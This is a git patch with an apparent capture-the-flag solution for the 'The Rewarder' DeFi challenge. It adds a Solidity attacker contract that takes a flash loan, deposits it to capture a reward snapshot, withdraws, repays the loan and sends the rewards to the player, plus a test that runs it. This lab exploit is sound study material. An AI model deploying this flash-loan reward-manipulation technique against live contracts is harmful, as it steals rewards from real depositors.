From dc8ac8cadf1f5fc7f689eed3d30bc6b23861421a Mon Sep 17 00:00:00 2001 From: Martin Marchev Date: Fri, 26 May 2023 13:02:42 +0300 Subject: [PATCH] Challenge #5 The Rewarder --- contracts/the-rewarder/TheRewardAttacker.sol | 37 ++++++++++++++++++++ test/the-rewarder/the-rewarder.challenge.js | 16 ++++++--- 2 files changed, 49 insertions(+), 4 deletions(-) create mode 100644 contracts/the-rewarder/TheRewardAttacker.sol diff --git a/contracts/the-rewarder/TheRewardAttacker.sol b/contracts/the-rewarder/TheRewardAttacker.sol new file mode 100644 index 000000000..208e20abd --- /dev/null +++ b/contracts/the-rewarder/TheRewardAttacker.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +import "./FlashLoanerPool.sol"; +import "./TheRewarderPool.sol"; + +contract TheRewardAttacker { + FlashLoanerPool private flashLoanPool; + TheRewarderPool private rewarderPool; + IERC20 private liquidityToken; + IERC20 private rewardToken; + address private player; + + constructor(FlashLoanerPool _flashLoanPool, TheRewarderPool _rewarderPool, + IERC20 _liquidityToken, IERC20 _rewardToken, address _player) { + flashLoanPool = _flashLoanPool; + rewarderPool = _rewarderPool; + liquidityToken = _liquidityToken; + rewardToken = _rewardToken; + player = _player; + } + + function attack() external { + uint256 flashLoanPoolBalance = liquidityToken.balanceOf(address(flashLoanPool)); + flashLoanPool.flashLoan(flashLoanPoolBalance); + } + + function receiveFlashLoan(uint256 amount) external { + liquidityToken.approve(address(rewarderPool), amount); + rewarderPool.deposit(amount); + rewarderPool.withdraw(amount); + liquidityToken.transfer(address(flashLoanPool), amount); + rewardToken.transfer(player, rewardToken.balanceOf(address(this))); + } +} diff --git a/test/the-rewarder/the-rewarder.challenge.js b/test/the-rewarder/the-rewarder.challenge.js index 8b0c31c9c..23fe88b54 100644 --- a/test/the-rewarder/the-rewarder.challenge.js +++ b/test/the-rewarder/the-rewarder.challenge.js @@ -50,7 +50,7 @@ describe('[Challenge] The rewarder', function () { // Advance time 5 days so that depositors can get rewards await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days - + // Each depositor gets reward tokens let rewardsInRound = await rewarderPool.REWARDS(); for (let i = 0; i < users.length; i++) { @@ -63,13 +63,21 @@ describe('[Challenge] The rewarder', function () { // Player starts with zero DVT tokens in balance expect(await liquidityToken.balanceOf(player.address)).to.eq(0); - + // Two rounds must have occurred so far expect(await rewarderPool.roundNumber()).to.be.eq(2); }); it('Execution', async function () { - /** CODE YOUR SOLUTION HERE */ + // Advance time 5 days so that depositors can get rewards + await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days + + const TheRewardAttackerFactory = await ethers.getContractFactory('TheRewardAttacker', player); + let attacker = await TheRewardAttackerFactory + .deploy(flashLoanPool.address, rewarderPool.address, + liquidityToken.address, rewardToken.address, + player.address); + await attacker.attack(); }); after(async function () { @@ -86,7 +94,7 @@ describe('[Challenge] The rewarder', function () { const delta = userRewards.sub((await rewarderPool.REWARDS()).div(users.length)); expect(delta).to.be.lt(10n ** 16n) } - + // Rewards must have been issued to the player account expect(await rewardToken.totalSupply()).to.be.gt(await rewarderPool.REWARDS()); const playerRewards = await rewardToken.balanceOf(player.address);